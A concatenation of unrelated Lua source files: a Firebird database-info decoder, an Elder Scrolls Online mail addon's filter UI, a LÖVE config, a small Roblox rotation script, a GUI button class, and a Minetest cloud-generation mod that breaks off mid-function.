isc_info_isc_version = 255,
isc_info_base_level = 1+1, --mark,version
isc_info_page_size = INT_SIZE,
isc_info_num_buffers = INT_SIZE,
isc_info_limbo = INT_SIZE,
isc_info_current_memory = INT_SIZE,
isc_info_max_memory = INT_SIZE,
isc_info_window_turns = INT_SIZE,
isc_info_license = INT_SIZE,
isc_info_allocation = INT_SIZE,
isc_info_attachment_id = INT_SIZE,
isc_info_read_seq_count = MAX_SHORT,
isc_info_read_idx_count = MAX_SHORT,
isc_info_insert_count = MAX_SHORT,
isc_info_update_count = MAX_SHORT,
isc_info_delete_count = MAX_SHORT,
isc_info_backout_count = MAX_SHORT,
isc_info_purge_count = MAX_SHORT,
isc_info_expunge_count = MAX_SHORT,
isc_info_sweep_interval = INT_SIZE,
isc_info_ods_version = INT_SIZE,
isc_info_ods_minor_version = INT_SIZE,
isc_info_no_reserve = INT_SIZE,
--[[ WAL was removed from firebird
isc_info_logfile = 2048,
isc_info_cur_logfile_name = 2048,
isc_info_cur_log_part_offset = INT_SIZE,
isc_info_num_wal_buffers = INT_SIZE,
isc_info_wal_buffer_size = INT_SIZE,
isc_info_wal_ckpt_length = INT_SIZE,
isc_info_wal_cur_ckpt_interval = INT_SIZE,
isc_info_wal_prv_ckpt_fname = 2048,
isc_info_wal_prv_ckpt_poffset = INT_SIZE,
isc_info_wal_recv_ckpt_fname = 2048,
isc_info_wal_recv_ckpt_poffset = INT_SIZE,
isc_info_wal_grpc_wait_usecs = INT_SIZE,
isc_info_wal_num_io = INT_SIZE,
isc_info_wal_avg_io_size = INT_SIZE,
isc_info_wal_num_commits = INT_SIZE,
isc_info_wal_avg_grpc_size = INT_SIZE,
]]
isc_info_forced_writes = INT_SIZE,
isc_info_user_names = MAX_SHORT,
isc_info_page_errors = INT_SIZE,
isc_info_record_errors = INT_SIZE,
isc_info_bpage_errors = INT_SIZE,
isc_info_dpage_errors = INT_SIZE,
isc_info_ipage_errors = INT_SIZE,
isc_info_ppage_errors = INT_SIZE,
isc_info_tpage_errors = INT_SIZE,
isc_info_set_page_buffers = INT_SIZE,
isc_info_db_sql_dialect = 1,
isc_info_db_read_only = INT_SIZE,
isc_info_db_size_in_pages = INT_SIZE,
frb_info_att_charset = INT_SIZE,
isc_info_db_class = 1,
isc_info_firebird_version = 255,
isc_info_oldest_transaction = INT_SIZE,
isc_info_oldest_active = INT_SIZE,
isc_info_oldest_snapshot = INT_SIZE,
isc_info_next_transaction = INT_SIZE,
isc_info_db_provider = 1,
isc_info_active_transactions = MAX_SHORT,
isc_info_active_tran_count = INT_SIZE,
isc_info_creation_date = 2*INT_SIZE,
isc_info_db_file_size = INT_SIZE,
fb_info_page_contents = MAX_SHORT,
}
local info_db_implementations = {
isc_info_db_impl_rdb_vms = 1,
isc_info_db_impl_rdb_eln = 2,
isc_info_db_impl_rdb_eln_dev = 3,
isc_info_db_impl_rdb_vms_y = 4,
isc_info_db_impl_rdb_eln_y = 5,
isc_info_db_impl_jri = 6,
isc_info_db_impl_jsv = 7,
isc_info_db_impl_isc_apl_68K = 25,
isc_info_db_impl_isc_vax_ultr = 26,
isc_info_db_impl_isc_vms = 27,
isc_info_db_impl_isc_sun_68k = 28,
isc_info_db_impl_isc_os2 = 29,
isc_info_db_impl_isc_sun4 = 30,
isc_info_db_impl_isc_hp_ux = 31,
isc_info_db_impl_isc_sun_386i = 32,
isc_info_db_impl_isc_vms_orcl = 33,
isc_info_db_impl_isc_mac_aux = 34,
isc_info_db_impl_isc_rt_aix = 35,
isc_info_db_impl_isc_mips_ult = 36,
isc_info_db_impl_isc_xenix = 37,
isc_info_db_impl_isc_dg = 38,
isc_info_db_impl_isc_hp_mpexl = 39,
isc_info_db_impl_isc_hp_ux68K = 40,
isc_info_db_impl_isc_sgi = 41,
isc_info_db_impl_isc_sco_unix = 42,
isc_info_db_impl_isc_cray = 43,
isc_info_db_impl_isc_imp = 44,
isc_info_db_impl_isc_delta = 45,
isc_info_db_impl_isc_next = 46,
isc_info_db_impl_isc_dos = 47,
isc_info_db_impl_m88K = 48,
isc_info_db_impl_unixware = 49,
isc_info_db_impl_isc_winnt_x86 = 50,
isc_info_db_impl_isc_epson = 51,
isc_info_db_impl_alpha_osf = 52,
isc_info_db_impl_alpha_vms = 53,
isc_info_db_impl_netware_386 = 54,
isc_info_db_impl_win_only = 55,
isc_info_db_impl_ncr_3000 = 56,
isc_info_db_impl_winnt_ppc = 57,
isc_info_db_impl_dg_x86 = 58,
isc_info_db_impl_sco_ev = 59,
isc_info_db_impl_i386 = 60,
isc_info_db_impl_freebsd = 61,
isc_info_db_impl_netbsd = 62,
isc_info_db_impl_darwin_ppc = 63,
isc_info_db_impl_sinixz = 64,
isc_info_db_impl_linux_sparc = 65,
isc_info_db_impl_linux_amd64 = 66,
isc_info_db_impl_freebsd_amd64 = 67,
isc_info_db_impl_winnt_amd64 = 68,
isc_info_db_impl_linux_ppc = 69,
isc_info_db_impl_darwin_x86 = 70,
isc_info_db_impl_linux_mipsel = 71,
isc_info_db_impl_linux_mips = 72,
isc_info_db_impl_darwin_x64 = 73,
isc_info_db_impl_sun_amd64 = 74,
isc_info_db_impl_linux_arm = 75,
isc_info_db_impl_linux_ia64 = 76,
isc_info_db_impl_darwin_ppc64 = 77,
}
local info_db_classes = {
isc_info_db_class_access = 1,
isc_info_db_class_y_valve = 2,
isc_info_db_class_rem_int = 3,
isc_info_db_class_rem_srvr = 4,
isc_info_db_class_pipe_int = 7,
isc_info_db_class_pipe_srvr = 8,
isc_info_db_class_sam_int = 9,
isc_info_db_class_sam_srvr = 10,
isc_info_db_class_gateway = 11,
isc_info_db_class_cache = 12,
isc_info_db_class_classic_access = 13,
isc_info_db_class_server_access = 14,
}
local info_db_providers = {
isc_info_db_code_rdb_eln = 1,
isc_info_db_code_rdb_vms = 2,
isc_info_db_code_interbase = 3,
isc_info_db_code_firebird = 4,
}
--returns {table_id,number_of_operations}
local function decode_count(s)
local t = {}
for i=1,#s/6 do
local table_id,op_num = struct.unpack('<HI',s,(i-1)*6+1)
t[table_id] = op_num
end
return t
end
local function decode_version_string(s)
local mark,ver = struct.unpack('bBc0',s)
return ver
end
--the sole user of this decoder is isc_info_creation_date;
--it's also the only decoder that requires a fbapi object.
local function decode_timestamp(s,fbapi)
assert(#s == struct.size('<iI'))
local dx,tx = struct.unpack('<iI',s) --little endian & no alignment
local dt_buf = alien.buffer(2*INT_SIZE)
dt_buf:set(1,dx)
dt_buf:set(1+INT_SIZE,tx)
return datetime.decode_timestamp(dt_buf,fbapi)
end
local decoders = {
isc_info_db_id = function(s)
local mark,s1,s2,s3 = struct.unpack('bBc0Bc0',s)
return {db_filename=s1,site_name=s2}
end,
isc_info_reads = info.decode_unsigned,
isc_info_writes = info.decode_unsigned,
isc_info_fetches = info.decode_unsigned,
isc_info_marks = info.decode_unsigned,
isc_info_implementation = function(s)
return assert(info.decode_enum(info_db_implementations)(s:sub(2)))
end,
isc_info_isc_version = decode_version_string,
isc_info_base_level = function(s)
local mark,version = struct.unpack('bB',s) --mark,version
return version
end,
isc_info_page_size = info.decode_unsigned,
isc_info_num_buffers = info.decode_unsigned,
--isc_info_limbo = ,
isc_info_current_memory = info.decode_unsigned,
isc_info_max_memory = info.decode_unsigned,
isc_info_window_turns = info.decode_unsigned,
--isc_info_license = ,
isc_info_allocation = info.decode_unsigned,
isc_info_attachment_id = info.decode_unsigned,
isc_info_read_seq_count = decode_count,
isc_info_read_idx_count = decode_count,
isc_info_insert_count = decode_count,
isc_info_update_count = decode_count,
isc_info_delete_count = decode_count,
isc_info_backout_count = decode_count,
isc_info_purge_count = decode_count,
isc_info_expunge_count = decode_count,
isc_info_sweep_interval = info.decode_unsigned,
isc_info_ods_version = info.decode_unsigned,
isc_info_ods_minor_version = info.decode_unsigned,
isc_info_no_reserve = info.decode_boolean,
--[[ WAL was removed from firebird
isc_info_logfile = info.decode_string,
isc_info_cur_logfile_name = info.decode_string,
isc_info_cur_log_part_offset = info.decode_unsigned,
isc_info_num_wal_buffers = info.decode_unsigned,
isc_info_wal_buffer_size = info.decode_unsigned,
isc_info_wal_ckpt_length = info.decode_unsigned,
isc_info_wal_cur_ckpt_interval = info.decode_unsigned,
isc_info_wal_prv_ckpt_fname = info.decode_string,
isc_info_wal_prv_ckpt_poffset = info.decode_unsigned,
isc_info_wal_recv_ckpt_fname = info.decode_string,
isc_info_wal_recv_ckpt_poffset = info.decode_unsigned,
isc_info_wal_grpc_wait_usecs = info.decode_unsigned,
isc_info_wal_num_io = info.decode_unsigned,
isc_info_wal_avg_io_size = info.decode_unsigned,
isc_info_wal_num_commits = info.decode_unsigned,
isc_info_wal_avg_grpc_size = info.decode_unsigned,
]]
isc_info_forced_writes = info.decode_boolean,
isc_info_user_names = function(s)
return struct.unpack('Bc0',s)
end,
isc_info_page_errors = info.decode_unsigned,
isc_info_record_errors = info.decode_unsigned,
isc_info_bpage_errors = info.decode_unsigned,
isc_info_dpage_errors = info.decode_unsigned,
isc_info_ipage_errors = info.decode_unsigned,
isc_info_ppage_errors = info.decode_unsigned,
isc_info_tpage_errors = info.decode_unsigned,
isc_info_set_page_buffers = info.decode_unsigned,
isc_info_db_sql_dialect = info.decode_unsigned,
isc_info_db_read_only = info.decode_boolean,
isc_info_db_size_in_pages = info.decode_unsigned,
frb_info_att_charset = info.decode_unsigned,
isc_info_db_class = info.decode_enum(info_db_classes),
isc_info_firebird_version = decode_version_string,
isc_info_oldest_transaction = info.decode_unsigned,
isc_info_oldest_active = info.decode_unsigned,
isc_info_oldest_snapshot = info.decode_unsigned,
isc_info_next_transaction = info.decode_unsigned,
isc_info_db_provider = info.decode_enum(info_db_providers),
isc_info_active_transactions = info.decode_unsigned,
isc_info_active_tran_count = info.decode_unsigned,
isc_info_creation_date = decode_timestamp,
isc_info_db_file_size = info.decode_unsigned,
fb_info_page_contents = info.decode_string,
}
--info on these options can occur multiple times, so they are to be encapsulated as arrays.
local array_options = {
isc_info_user_names = true,
isc_info_active_transactions = true,
}
local encoders = {
fb_info_page_contents = function(page_num)
return struct.pack('<HI',4,page_num)
end
}
function encode(opts)
return info.encode('DB_INFO', opts, info_codes, info_buf_sizes, encoders)
end
function decode(info_buf, info_buf_len, fbapi) --yeah, some decoder wants a fbapi, just pass it on and fuggetaboutit
return info.decode('DB_INFO', info_buf, info_buf_len, info_code_lookup, decoders, array_options, fbapi)
end
|
MailLooter = MailLooter or {}
local ADDON = MailLooter
ADDON.UI = ADDON.UI or {}
local UI = ADDON.UI
--
-- FilterFragmentClass
--
UI.FilterFragmentClass = ZO_Object:Subclass()
function UI.FilterFragmentClass:New()
local obj = ZO_Object.New(self)
obj:Initialize()
return obj
end
function UI.FilterFragmentClass:Initialize()
self.win = WINDOW_MANAGER:CreateTopLevelWindow(
"MailLooterFilterFragment")
self.win:SetWidth(ZO_MailInbox:GetWidth() - 20)
self.win:SetAnchor(TOP, ZO_MailInbox, TOP, 0, 53)
self.win:SetMouseEnabled(true)
self.win:SetHeight(50)
self.win:SetHidden(true)
local filterBar = CreateControlFromVirtual(
"MailLooterFitlerBar", self.win, "Lodur_MultiSelectBarTemplate")
filterBar:SetAnchor(CENTER, self.win, CENTER, 58, 2)
Lodur_MultiSelectBar_SetData(filterBar,
{ initialButtonAnchorPoint = LEFT,
normalSize = {50, 50, 32},
downSize = {64, 58, 40},
buttonPadding = {15, 10, 0 },
separator = { false, true},
})
local avaButton = {
descriptor = "ava",
tooltip = SI_MAILLOOTER_FILTER_AVA,
normal = UI.GetIcon(ADDON.Core.MAILTYPE_AVA, 'normal'),
pressed = UI.GetIcon(ADDON.Core.MAILTYPE_AVA, 'pressed'),
disabled = UI.GetIcon(ADDON.Core.MAILTYPE_AVA, 'disabled'),
highlight = UI.GetIcon(ADDON.Core.MAILTYPE_AVA, 'highlight'),
callback = function(button) end,
onInitializeCallback = function(button) end,
}
local blacksmithButton= {
descriptor = "smith",
tooltip = SI_MAILLOOTER_FILTER_HIRELING_SMITH,
normal = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'blacksmithing', 'normal'),
pressed = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'blacksmithing', 'pressed'),
disabled = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'blacksmithing', 'disabled'),
highlight = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'blacksmithing', 'highlight'),
callback = function(button) end,
onInitializeCallback = function(button) end,
}
local clothingButton= {
descriptor = "clothing",
tooltip = SI_MAILLOOTER_FILTER_HIRELING_CLOTH,
normal = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'clothing', 'normal'),
pressed = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'clothing', 'pressed'),
disabled = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'clothing', 'disabled'),
highlight = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'clothing', 'highlight'),
callback = function(button) end,
onInitializeCallback = function(button) end,
}
local enchantingButton= {
descriptor = "enchanting",
tooltip = SI_MAILLOOTER_FILTER_HIRELING_ENCHANT,
normal = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'enchanting', 'normal'),
pressed = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'enchanting', 'pressed'),
disabled = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'enchanting', 'disabled'),
highlight = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'enchanting', 'highlight'),
callback = function(button) end,
onInitializeCallback = function(button) end,
}
local provisioningButton= {
descriptor = "provisioning",
tooltip = SI_MAILLOOTER_FILTER_HIRELING_PROVISION,
normal = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'provisioning', 'normal'),
pressed = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'provisioning', 'pressed'),
disabled = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'provisioning', 'disabled'),
highlight = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'provisioning', 'highlight'),
callback = function(button) end,
onInitializeCallback = function(button) end,
}
local woodworkingButton= {
descriptor = "woodworking",
tooltip = SI_MAILLOOTER_FILTER_HIRELING_WOOD,
normal = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'woodworking', 'normal'),
pressed = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'woodworking', 'pressed'),
disabled = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'woodworking', 'disabled'),
highlight = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'woodworking', 'highlight'),
callback = function(button) end,
onInitializeCallback = function(button) end,
}
local hirelingButton = {
descriptor = "hireling",
tooltip = SI_MAILLOOTER_FILTER_HIRELING,
normal = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'normal'),
pressed = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'pressed'),
disabled = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'disabled'),
highlight = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'highlight'),
callback = function(button) end,
onInitializeCallback = function(button) end,
sub = { blacksmithButton, clothingButton, enchantingButton,
provisioningButton, woodworkingButton, }
}
local storeButton = {
descriptor = "store",
tooltip = SI_MAILLOOTER_FILTER_STORE,
normal = UI.GetIcon(ADDON.Core.MAILTYPE_STORE, 'normal'),
pressed = UI.GetIcon(ADDON.Core.MAILTYPE_STORE, 'pressed'),
disabled = UI.GetIcon(ADDON.Core.MAILTYPE_STORE, 'disabled'),
highlight = UI.GetIcon(ADDON.Core.MAILTYPE_STORE, 'highlight'),
callback = function(button) end,
onInitializeCallback = function(button) end,
}
local codButton = {
descriptor = "cod",
tooltip = SI_MAILLOOTER_FILTER_COD,
normal = UI.GetIcon(ADDON.Core.MAILTYPE_COD),
pressed = UI.GetIcon(ADDON.Core.MAILTYPE_COD, 'pressed'),
disabled = UI.GetIcon(ADDON.Core.MAILTYPE_COD, 'disabled'),
highlight = UI.GetIcon(ADDON.Core.MAILTYPE_COD, 'highlight'),
callback = function(button) end,
onInitializeCallback = function(button) end,
}
local returnedButton = {
descriptor = "returned",
tooltip = SI_MAILLOOTER_FILTER_RETURNED,
normal = UI.GetIcon(ADDON.Core.MAILTYPE_RETURNED, 'normal'),
pressed = UI.GetIcon(ADDON.Core.MAILTYPE_RETURNED, 'pressed'),
disabled = UI.GetIcon(ADDON.Core.MAILTYPE_RETURNED, 'disabled'),
highlight = UI.GetIcon(ADDON.Core.MAILTYPE_RETURNED, 'highlight'),
callback = function(button) end,
onInitializeCallback = function(button) end,
}
local simpleButton = {
descriptor = "simple",
tooltip = SI_MAILLOOTER_FILTER_SIMPLE,
normal = UI.GetIcon(ADDON.Core.MAILTYPE_SIMPLE, 'normal'),
pressed = UI.GetIcon(ADDON.Core.MAILTYPE_SIMPLE, 'pressed'),
disabled = UI.GetIcon(ADDON.Core.MAILTYPE_SIMPLE, 'disabled'),
highlight = UI.GetIcon(ADDON.Core.MAILTYPE_SIMPLE, 'highlight'),
callback = function(button) end,
onInitializeCallback = function(button) end,
}
local codReceiptButton = {
descriptor = "codReceipt",
tooltip = SI_MAILLOOTER_FILTER_COD_RECEIPT,
normal = UI.GetIcon(ADDON.Core.MAILTYPE_COD_RECEIPT, 'normal'),
pressed = UI.GetIcon(ADDON.Core.MAILTYPE_COD_RECEIPT, 'pressed'),
disabled = UI.GetIcon(ADDON.Core.MAILTYPE_COD_RECEIPT, 'disabled'),
highlight = UI.GetIcon(ADDON.Core.MAILTYPE_COD_RECEIPT, 'highlight'),
callback = function(button) end,
onInitializeCallback = function(button) end,
}
local allButton = {
descriptor = "all",
tooltip = SI_MAILLOOTER_FILTER_ALL,
normal = UI.GetIcon('all', 'normal'),
pressed = UI.GetIcon('all', 'pressed'),
disabled = UI.GetIcon('all', 'disabled'),
highlight = UI.GetIcon('all', 'highlight'),
callback = function(button) end,
onInitializeCallback = function(button) end,
sub = { avaButton, hirelingButton, storeButton, codButton,
returnedButton, simpleButton, codReceiptButton }
}
Lodur_MultiSelectBar_AddButtons(filterBar, allButton)
Lodur_MultiSelectBar_SetOnChanged(
filterBar, function() self:UpdateFilterLabel() end)
self.filterBar = filterBar
local label = CreateControl(
"MailLooterFitlerLabel", self.win, CT_LABEL)
label:SetFont("ZoFontWinH3")
label:SetText("Filtering Coming Soon:")
label:SetHeight(label:GetFontHeight())
label:SetAnchor(RIGHT, filterBar, LEFT, -20, 0)
self.label = label
local div = WINDOW_MANAGER:CreateControl(
nil, self.win, CT_TEXTURE)
div:SetTexture("EsoUI/Art/Miscellaneous/centerscreen_topDivider.dds")
div:SetHeight(2)
div:SetWidth(900)
div:SetAnchor(TOP, self.win, TOP, 0, 54)
Lodur_MultiSelectBar_SelectDescriptor(filterBar, 'all', true)
self.FRAGMENT = ZO_FadeSceneFragment:New(self.win)
end
local filterTerms = {
['all'] = SI_MAILLOOTER_FILTER_LABEL_ALL,
['ava'] = SI_MAILLOOTER_FILTER_LABEL_AVA,
['hireling'] = SI_MAILLOOTER_FILTER_LABEL_HIRELING,
['smith'] = SI_MAILLOOTER_FILTER_LABEL_SMITH,
['clothing'] = SI_MAILLOOTER_FILTER_LABEL_CLOTH,
['enchanting'] = SI_MAILLOOTER_FILTER_LABEL_ENCHANT,
['provisioning'] = SI_MAILLOOTER_FILTER_LABEL_PROVISION,
['woodworking'] = SI_MAILLOOTER_FILTER_LABEL_WOOD,
['store'] = SI_MAILLOOTER_FILTER_LABEL_STORE,
['cod'] = SI_MAILLOOTER_FILTER_LABEL_COD,
['returned'] = SI_MAILLOOTER_FILTER_LABEL_RETURNED,
['simple'] = SI_MAILLOOTER_FILTER_LABEL_SIMPLE,
['codReceipt'] = SI_MAILLOOTER_FILTER_LABEL_COD_RECEIPT,
}
function UI.FilterFragmentClass:UpdateFilterLabel(control)
UI.DEBUG("UpdateFilterLabel")
local selections = Lodur_MultiSelectBar_GetSelected(self.filterBar)
local selected = selections.selected
local unselected = selections.unselected
local font = "ZoFontWinH3"
local msg
if #selected == 0 then
msg = GetString(SI_MAILLOOTER_FILTER_LABEL_NOTHING)
elseif #selected == 1 then
msg = GetString(filterTerms[selected[1]])
elseif #selected == 2 then
-- TODO: Need a translate method for '&'
font = "ZoFontWinH5"
msg = GetString(filterTerms[selected[1]]) .. " & " ..
GetString(filterTerms[selected[2]])
elseif #unselected == 1 then
msg = "|cFF0000NO|r " .. GetString(filterTerms[unselected[1]])
elseif #unselected == 2 then
font = "ZoFontWinH5"
-- TODO: Need a translate method for '&'
msg = "|cFF0000NO|r " ..
GetString(filterTerms[unselected[1]]) .. " & " ..
GetString(filterTerms[unselected[2]])
else
msg = GetString(SI_MAILLOOTER_FILTER_LABEL_COMPLEX)
end
self.label:SetFont(font)
self.label:SetText(msg)
end
function UI.FilterFragmentClass:SetLocked(locked)
Lodur_MultiSelectBar_SetLocked(self.filterBar, locked)
end
function UI.FilterFragmentClass:SetFilter(filter, skipAnimation)
UI.DEBUG("FilterFragmentClass:SetFilter:")
Lodur_MultiSelectBar_ClearSelection(self.filterBar)
for i,k in ipairs(filter) do
UI.DEBUG(" " .. k)
if not Lodur_MultiSelectBar_SelectDescriptor(self.filterBar, k, skipAnimation) then
UI.DEBUG("SelectDescriptor failed")
end
end
end
function UI.FilterFragmentClass:GetFilter()
return Lodur_MultiSelectBar_GetSelected(self.filterBar)
end
function UI.FilterFragmentClass:SetEnabled(descriptor, enabled)
UI.DEBUG("Filter:SetEnabled d='" .. descriptor .. "' e=" .. tostring(enabled))
Lodur_MultiSelectBar_SetEnabled(self.filterBar, descriptor, enabled, true)
end
|
function love.conf(t)
t.console = true
t.version = "0.10.1"
t.language = "en"
love._conf = t
end
|
o = game.Players.ScriptTyper.Character
o.Torso.Anchored = true
for i = 0, 500, 1 do
o.Torso.CFrame = o.Torso.CFrame * CFrame.Angles(math.rad(0*i), math.rad(10*i), math.rad(0*i))
wait()
end
o.Torso.Anchored = false |
--[[ node/gui/button.lua
Copyright (c) 2017 Szymon "pi_pi3" Walter
This software is provided 'as-is', without any express or implied
warranty. In no event will the authors be held liable for any damages
arising from the use of this software.
Permission is granted to anyone to use this software for any purpose,
including commercial applications, and to alter it and redistribute it
freely, subject to the following restrictions:
1. The origin of this software must not be misrepresented you must not
claim that you wrote the original software. If you use this software
in a product, an acknowledgment in the product documentation would be
appreciated but is not required.
2. Altered source versions must be plainly marked as such, and must not be
misrepresented as being the original software.
3. This notice may not be removed or altered from any source
distribution.
]]
local element = require('lib4/node/gui/element')
local button = {}
local mt = {__index = button}
function button.new(opts, children)
local self = element.new(opts, children)
setmetatable(self, mt)
self.t = 'gui/button'
opts = opts or {}
self.text = opts.text
self.downcolor = opts.downcolor or {127, 127, 127}
self.textcolor = opts.textcolor or self.framecolor
return self
end
function button:draw()
if self.down then
love.graphics.setColor(self.downcolor)
else
love.graphics.setColor(self.color)
end
love.graphics.rectangle('fill', 0, 0, self.width, self.height)
love.graphics.setColor(self.framecolor)
love.graphics.setLineStyle('smooth')
love.graphics.setLineWidth(self.line_width)
love.graphics.rectangle('line', 0, 0, self.width, self.height)
if self.text then
love.graphics.printf(self.text, 0, 0, self.width, self.align)
end
end
setmetatable(button, {
__index = element,
__call = function(_, ...) return button.new(...) end
})
return button
|
lib_clouds = {}
-- internationalization boilerplate
local MP = minetest.get_modpath(minetest.get_current_modname())
local S, NS = dofile(MP.."/intllib.lua")
local water_level = tonumber(minetest.get_mapgen_setting("water_level")) or 1
local enable = minetest.setting_getbool("lib_clouds_enable") or true
local regeneration = minetest.setting_getbool("lib_clouds_regeneration") or false
local cirrus_miny = minetest.setting_get("lib_clouds_cirrus_miny") or 150
local cirrus_maxy = minetest.setting_get("lib_clouds_cirrus_maxy") or 200
local cumulus_miny = minetest.setting_get("lib_clouds_cumulus_miny") or 120
local cumulus_maxy = minetest.setting_get("lib_clouds_cumulus_maxy") or 150
local fog_miny = minetest.setting_get("lib_clouds_fog_miny") or water_level
local fog_maxy = minetest.setting_get("lib_clouds_fog_maxy") or 25
if enable == true then
minetest.register_node('lib_clouds:cloud_cirrus', {
description = S("Cirrus Cloud"),
_doc_items_longdesc = S("Cirrus Clouds"),
_doc_items_usagehelp = S("Generates puffy clouds in air between 150m and 200m."),
drawtype = "glasslike",
tiles = {"lib_clouds_cloud.png"},
--use_texture_alpha = false,
paramtype = "light",
post_effect_color = { r=128, g=128, b=128, a=128 },
is_ground_content = false,
sunlight_propagates = false,
walkable = false,
pointable = false,
diggable = false,
climbable = false,
buildable_to = false,
floodable = false, -- If true, liquids flow into and replace this node
groups = {lib_clouds = 1},
--node lifespan
on_construct = function(pos)
minetest.get_node_timer(pos):start(300)
end,
on_timer = function(pos, elapsed)
minetest.set_node(pos, {name = "air"})
end,
})
minetest.register_node('lib_clouds:cloud_cumulus', {
description = S("Cumulus Cloud"),
_doc_items_longdesc = S("Cumulus Clouds"),
_doc_items_usagehelp = S("Generates large flat clouds in air between 120 and 150m."),
drawtype = "glasslike",
tiles = {"lib_clouds_cloud.png"},
use_texture_alpha = true,
paramtype = "light",
post_effect_color = { r=128, g=128, b=128, a=128 },
is_ground_content = false,
sunlight_propagates = false,
walkable = false,
pointable = false,
diggable = false,
climbable = false,
buildable_to = false,
groups = {lib_clouds = 1},
--node lifespan
on_construct = function(pos)
minetest.get_node_timer(pos):start(300)
end,
on_timer = function(pos, elapsed)
minetest.set_node(pos, {name = "air"})
end,
})
minetest.register_node('lib_clouds:cloud_fog', {
description = S("Fog"),
_doc_items_longdesc = S("Foggy Clouds"),
_doc_items_usagehelp = S("Generates fog in air between water_level or 1 and 25m."),
drawtype = "glasslike",
tiles = {"lib_clouds_cloud.png"},
use_texture_alpha = true,
paramtype = "light",
light_source = 8,
post_effect_color = { r=128, g=128, b=128, a=128 },
is_ground_content = false,
sunlight_propagates = true,
walkable = false,
pointable = false,
diggable = false,
climbable = false,
buildable_to = false,
groups = {lib_clouds = 1},
--node lifespan
on_construct = function(pos)
minetest.get_node_timer(pos):start(300)
end,
on_timer = function(pos, elapsed)
minetest.set_node(pos, {name = "air"})
end,
})
minetest.register_ore({
ore_type = "scatter", -- See "Ore types"
ore = "lib_clouds:cloud_cirrus",
wherein = "air",
clust_scarcity = 8*8*8,
clust_num_ores = 64,
clust_size = 5,
y_min = water_level + cirrus_miny,
y_max = water_level + cirrus_maxy,
flags = "",
noise_threshold = 0.5,
noise_params = {offset=0, scale=1, spread={x=100, y=100, z=100}, seed=23, octaves=3, persist=0.70},
-- ^ NoiseParams structure describing the perlin noise used for ore distribution.
-- ^ Needed for sheet ore_type. Omit from scatter ore_type for a uniform ore distribution
random_factor = 1.0,
-- ^ Multiplier of the randomness contribution to the noise value at any
-- given point to decide if ore should be placed. Set to 0 for solid veins.
-- ^ This parameter is only valid for ore_type == "vein".
--biomes = {"tundra", "desert"}
-- ^ List of biomes in which this decoration occurs. Occurs in all biomes if this is omitted,
-- ^ and ignored if the Mapgen being used does not support biomes.
-- ^ Can be a list of (or a single) biome names, IDs, or definitions.
})
minetest.register_ore({
ore_type = "puff", -- See "Ore types"
ore = "lib_clouds:cloud_cumulus",
wherein = "air",
clust_scarcity = 8*8*8,
clust_num_ores = 6,
clust_size = 2,
y_min = water_level + cumulus_miny,
y_max = water_level + cumulus_maxy,
flags = "",
noise_threshold = 0.5,
noise_params = {offset=0, scale=1, spread={x=100, y=100, z=100}, seed=23, octaves=3, persist=0.70},
-- ^ NoiseParams structure describing the perlin noise used for ore distribution.
-- ^ Needed for sheet ore_type. Omit from scatter ore_type for a uniform ore distribution
random_factor = 1.0,
-- ^ Multiplier of the randomness contribution to the noise value at any
-- given point to decide if ore should be placed. Set to 0 for solid veins.
-- ^ This parameter is only valid for ore_type == "vein".
--biomes = {"rainforest", "deciduous_forest_swamp", "rainforest_swamp", "deciduous_forest", "coniferous_forest", "stone_grassland"}
-- ^ List of biomes in which this decoration occurs. Occurs in all biomes if this is omitted,
-- ^ and ignored if the Mapgen being used does not support biomes.
-- ^ Can be a list of (or a single) biome names, IDs, or definitions.
})
minetest.register_ore({
ore_type = "puff", -- See "Ore types"
ore = "lib_clouds:cloud_fog",
wherein = "air",
clust_scarcity = 8*8*8,
clust_num_ores = 8,
clust_size = 3,
y_min = water_level + fog_miny,
y_max = water_level + fog_maxy,
flags = "",
noise_threshold = 0.5,
noise_params = {offset=0, scale=1, spread={x=100, y=100, z=100}, seed=23, octaves=3, persist=0.70},
-- ^ NoiseParams structure describing the perlin noise used for ore distribution.
-- ^ Needed for sheet ore_type. Omit from scatter ore_type for a uniform ore distribution
random_factor = 0.4,
-- ^ Multiplier of the randomness contribution to the noise value at any
-- given point to decide if ore should be placed. Set to 0 for solid veins.
-- ^ This parameter is only valid for ore_type == "vein".
--biomes = {"rainforest", "deciduous_forest_swamp", "rainforest_swamp" }
-- ^ List of biomes in which this decoration occurs. Occurs in all biomes if this is omitted,
-- ^ and ignored if the Mapgen being used does not support biomes.
-- ^ Can be a list of (or a single) biome names, IDs, or definitions.
})
if regeneration then
minetest.register_abm{
nodenames = {"lib_clouds:cloud_cirrus"},
interval = 7.5,
chance = 5,
catch_up = false,
action = function(pos)
local radius = 4
local growthlimitgoo = 3
local airlimit = 15
--count goolim
local num_goolim = {}
local ps, cn = minetest.find_nodes_in_area(
{x = pos.x - radius, y = pos.y - radius, z = pos.z - radius},
{x = pos.x + radius, y = pos.y + radius, z = pos.z + radius}, {"lib_clouds:cloud_cirrus"})
num_goolim = (cn["lib_clouds:cloud_cirrus"] or 0)
--count air
local num_gooair = {}
local radius = 1
local ps, cn = minetest.find_nodes_in_area(
